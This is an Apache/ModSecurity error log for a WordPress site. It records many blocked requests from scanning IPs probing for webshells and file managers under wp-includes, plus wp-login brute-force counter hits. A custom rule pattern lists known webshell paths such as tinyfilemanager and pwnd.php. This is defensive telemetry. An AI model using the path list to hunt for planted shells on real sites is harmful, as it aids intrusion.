[Sun Mar 01 04:29:21.626985 2026] [:error] [pid 24576:tid 24589] [client 81.199.26.65:21433] [client 81.199.26.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaNQIYvfb5CnctJh07253QAAAQo"]
[Sun Mar 01 04:29:23.134206 2026] [proxy_fcgi:error] [pid 21263:tid 21273] [client 85.203.15.175:62421] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:29:23.746449 2026] [proxy_fcgi:error] [pid 21263:tid 21288] [client 85.203.15.175:62421] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:29:24.060580 2026] [proxy_fcgi:error] [pid 21263:tid 21285] [client 85.203.15.175:62421] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:29:25.738088 2026] [:error] [pid 21263:tid 21283] [client 85.203.15.175:62421] [client 85.203.15.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaNQJdAxjzLvN1upBhm1GQAAANA"]
[Sun Mar 01 04:29:26.326712 2026] [:error] [pid 21263:tid 21273] [client 85.203.15.99:40393] [client 85.203.15.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaNQJtAxjzLvN1upBhm1GwAAAMY"]
[Sun Mar 01 04:29:26.926949 2026] [:error] [pid 24576:tid 24583] [client 85.203.15.222:60227] [client 85.203.15.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaNQJovfb5CnctJh07255gAAAQQ"]
[Sun Mar 01 04:29:27.509296 2026] [:error] [pid 21263:tid 21286] [client 85.203.15.99:36559] [client 85.203.15.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaNQJ9AxjzLvN1upBhm1IAAAANM"]
[Sun Mar 01 04:29:29.224724 2026] [:error] [pid 24576:tid 24604] [client 85.203.15.164:20217] [client 85.203.15.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaNQKYvfb5CnctJh07258wAAARg"]
[Sun Mar 01 04:29:29.810474 2026] [:error] [pid 24576:tid 24595] [client 81.199.26.61:60429] [client 81.199.26.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaNQKYvfb5CnctJh0725-gAAAQ8"]
[Sun Mar 01 04:29:31.053959 2026] [:error] [pid 24576:tid 24601] [client 85.203.15.102:48115] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaNQK4vfb5CnctJh0726BAAAARU"]
[Sun Mar 01 04:29:31.654495 2026] [:error] [pid 21159:tid 21237] [client 81.199.26.65:20475] [client 81.199.26.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaNQK-Li3ouy1NZIkgoEzAAAAJA"]
[Sun Mar 01 04:29:32.216074 2026] [:error] [pid 21263:tid 21290] [client 81.199.26.68:28521] [client 81.199.26.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaNQLNAxjzLvN1upBhm1OgAAANc"]
[Sun Mar 01 04:29:33.340478 2026] [:error] [pid 21263:tid 21273] [client 85.203.15.224:27283] [client 85.203.15.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaNQLdAxjzLvN1upBhm1QQAAAMY"]
[Sun Mar 01 04:29:34.574944 2026] [:error] [pid 21263:tid 21276] [client 81.199.26.61:38383] [client 81.199.26.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaNQLtAxjzLvN1upBhm1UAAAAMk"]
[Sun Mar 01 04:29:35.723168 2026] [:error] [pid 24576:tid 24585] [client 85.203.15.173:34135] [client 85.203.15.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaNQL4vfb5CnctJh0726LwAAAQY"]
[Sun Mar 01 04:29:36.975815 2026] [:error] [pid 21156:tid 21178] [client 85.203.15.166:65385] [client 85.203.15.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaNQMKsaG_9IkG8N2p3Y_AAAAAw"]
[Sun Mar 01 04:29:38.088677 2026] [:error] [pid 21156:tid 21183] [client 85.203.15.173:45529] [client 85.203.15.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaNQMqsaG_9IkG8N2p3Y_wAAABE"]
[Sun Mar 01 04:29:40.662655 2026] [:error] [pid 21158:tid 21217] [client 85.203.15.228:40517] [client 85.203.15.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaNQNDriSIe3-pWnbPbK_wAAAFg"]
[Sun Mar 01 04:29:42.563339 2026] [:error] [pid 24576:tid 24595] [client 85.203.15.228:42033] [client 85.203.15.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaNQNovfb5CnctJh0726UgAAAQ8"]
[Sun Mar 01 04:29:43.639565 2026] [:error] [pid 24576:tid 24585] [client 81.199.26.70:47551] [client 81.199.26.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaNQN4vfb5CnctJh0726XAAAAQY"]
[Sun Mar 01 04:29:49.504997 2026] [:error] [pid 24576:tid 24591] [client 81.199.26.64:48337] [client 81.199.26.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaNQPYvfb5CnctJh0726mAAAAQs"]
[Sun Mar 01 04:29:50.018826 2026] [:error] [pid 21159:tid 21242] [client 85.203.15.169:24305] [client 85.203.15.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaNQPuLi3ouy1NZIkgoE9wAAAJU"]
[Sun Mar 01 04:29:50.621654 2026] [:error] [pid 21263:tid 21275] [client 81.199.26.54:62105] [client 81.199.26.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.54, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaNQPtAxjzLvN1upBhm1oAAAAMg"]
[Sun Mar 01 04:29:51.239128 2026] [:error] [pid 21263:tid 21291] [client 81.199.26.54:62105] [client 81.199.26.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaNQP9AxjzLvN1upBhm1pAAAANg"]
[Sun Mar 01 04:29:52.500187 2026] [:error] [pid 21156:tid 21189] [client 85.203.15.102:46787] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaNQQKsaG_9IkG8N2p3ZHQAAABc"]
[Sun Mar 01 04:29:53.098000 2026] [:error] [pid 21158:tid 21212] [client 85.203.15.164:61913] [client 85.203.15.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaNQQTriSIe3-pWnbPbLDwAAAFM"]
[Sun Mar 01 04:29:55.002096 2026] [:error] [pid 24576:tid 24603] [client 81.199.26.54:59073] [client 81.199.26.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaNQQ4vfb5CnctJh0726wAAAARc"]
[Sun Mar 01 04:29:55.588407 2026] [:error] [pid 21263:tid 21287] [client 85.203.15.100:58439] [client 85.203.15.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aaNQQ9AxjzLvN1upBhm1rAAAANQ"]
[Sun Mar 01 04:29:57.708541 2026] [:error] [pid 21263:tid 21288] [client 85.203.15.151:55189] [client 85.203.15.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaNQRdAxjzLvN1upBhm1xAAAANU"]
[Sun Mar 01 04:29:58.827815 2026] [proxy_fcgi:error] [pid 24576:tid 24597] [client 85.203.15.162:43157] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:29:59.502083 2026] [:error] [pid 24576:tid 24593] [client 85.203.15.162:43157] [client 85.203.15.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaNQR4vfb5CnctJh07266QAAAQ0"]
[Sun Mar 01 04:30:00.081716 2026] [:error] [pid 24576:tid 24584] [client 81.199.26.59:41879] [client 81.199.26.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aaNQSIvfb5CnctJh07268QAAAQU"]
[Sun Mar 01 04:30:01.533563 2026] [:error] [pid 21156:tid 21178] [client 85.203.15.160:48485] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaNQSasaG_9IkG8N2p3ZOwAAAAw"]
[Sun Mar 01 04:30:02.169770 2026] [:error] [pid 24576:tid 24589] [client 85.203.15.99:27173] [client 85.203.15.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaNQSovfb5CnctJh0727AwAAAQo"]
[Sun Mar 01 04:30:05.322638 2026] [:error] [pid 21263:tid 21278] [client 81.199.26.57:37187] [client 81.199.26.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aaNQTdAxjzLvN1upBhm16wAAAMs"]
[Sun Mar 01 04:30:05.976942 2026] [:error] [pid 21263:tid 21270] [client 85.203.15.82:52707] [client 85.203.15.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaNQTdAxjzLvN1upBhm17QAAAMM"]
[Sun Mar 01 04:30:07.971945 2026] [:error] [pid 21263:tid 21279] [client 85.203.15.166:21939] [client 85.203.15.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaNQT9AxjzLvN1upBhm1-QAAAMw"]
[Sun Mar 01 04:30:08.575358 2026] [:error] [pid 21158:tid 21206] [client 85.203.15.160:51959] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaNQUDriSIe3-pWnbPbLJwAAAE0"]
[Sun Mar 01 04:30:09.215146 2026] [:error] [pid 21156:tid 21187] [client 85.203.15.157:40081] [client 85.203.15.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaNQUasaG_9IkG8N2p3ZRAAAABU"]
[Sun Mar 01 04:30:11.436044 2026] [:error] [pid 21263:tid 21279] [client 81.199.26.64:52333] [client 81.199.26.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaNQU9AxjzLvN1upBhm2CAAAAMw"]
[Sun Mar 01 04:30:13.597828 2026] [:error] [pid 21263:tid 21279] [client 85.203.15.154:20817] [client 85.203.15.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaNQVdAxjzLvN1upBhm2FQAAAMw"]
[Sun Mar 01 04:30:16.400077 2026] [:error] [pid 21159:tid 21229] [client 85.203.15.168:53981] [client 85.203.15.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.168, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aaNQWOLi3ouy1NZIkgoFTgAAAIg"]
[Sun Mar 01 04:30:18.528291 2026] [:error] [pid 21159:tid 21230] [client 85.203.15.168:53981] [client 85.203.15.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aaNQWuLi3ouy1NZIkgoFWQAAAIk"]
[Sun Mar 01 04:30:19.093136 2026] [:error] [pid 24576:tid 24594] [client 85.203.15.232:34765] [client 85.203.15.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.232, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaNQW4vfb5CnctJh0727iAAAAQ4"]
[Sun Mar 01 04:30:22.674200 2026] [proxy_fcgi:error] [pid 24576:tid 24603] [client 85.203.15.232:34765] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:30:27.863908 2026] [:error] [pid 24576:tid 24585] [client 85.203.15.232:34765] [client 85.203.15.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aaNQY4vfb5CnctJh0728AQAAAQY"]
[Sun Mar 01 04:30:30.575012 2026] [:error] [pid 21156:tid 21168] [client 81.199.26.65:34919] [client 81.199.26.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaNQZqsaG_9IkG8N2p3ZZQAAAAI"]
[Sun Mar 01 04:30:31.811340 2026] [:error] [pid 21156:tid 21177] [client 81.199.26.60:35175] [client 81.199.26.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaNQZ6saG_9IkG8N2p3ZbQAAAAs"]
[Sun Mar 01 04:30:35.192608 2026] [:error] [pid 24576:tid 24594] [client 85.203.15.158:55035] [client 85.203.15.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaNQa4vfb5CnctJh0728OgAAAQ4"]
[Sun Mar 01 04:30:36.756976 2026] [:error] [pid 21158:tid 21201] [client 85.203.15.222:33845] [client 85.203.15.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaNQbDriSIe3-pWnbPbLTgAAAEg"]
[Sun Mar 01 04:30:37.559527 2026] [:error] [pid 21159:tid 21228] [client 81.199.26.56:44493] [client 81.199.26.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaNQbeLi3ouy1NZIkgoFjgAAAIc"]
[Sun Mar 01 04:30:39.832742 2026] [proxy_fcgi:error] [pid 21263:tid 21288] [client 81.199.26.65:47461] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:30:40.137984 2026] [proxy_fcgi:error] [pid 21263:tid 21275] [client 81.199.26.65:47461] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:30:40.440952 2026] [:error] [pid 21263:tid 21286] [client 81.199.26.65:47461] [client 81.199.26.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaNQcNAxjzLvN1upBhm2nAAAANM"]
[Sun Mar 01 04:30:40.999300 2026] [:error] [pid 21156:tid 21175] [client 85.203.15.171:47397] [client 85.203.15.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaNQcKsaG_9IkG8N2p3ZeAAAAAk"]
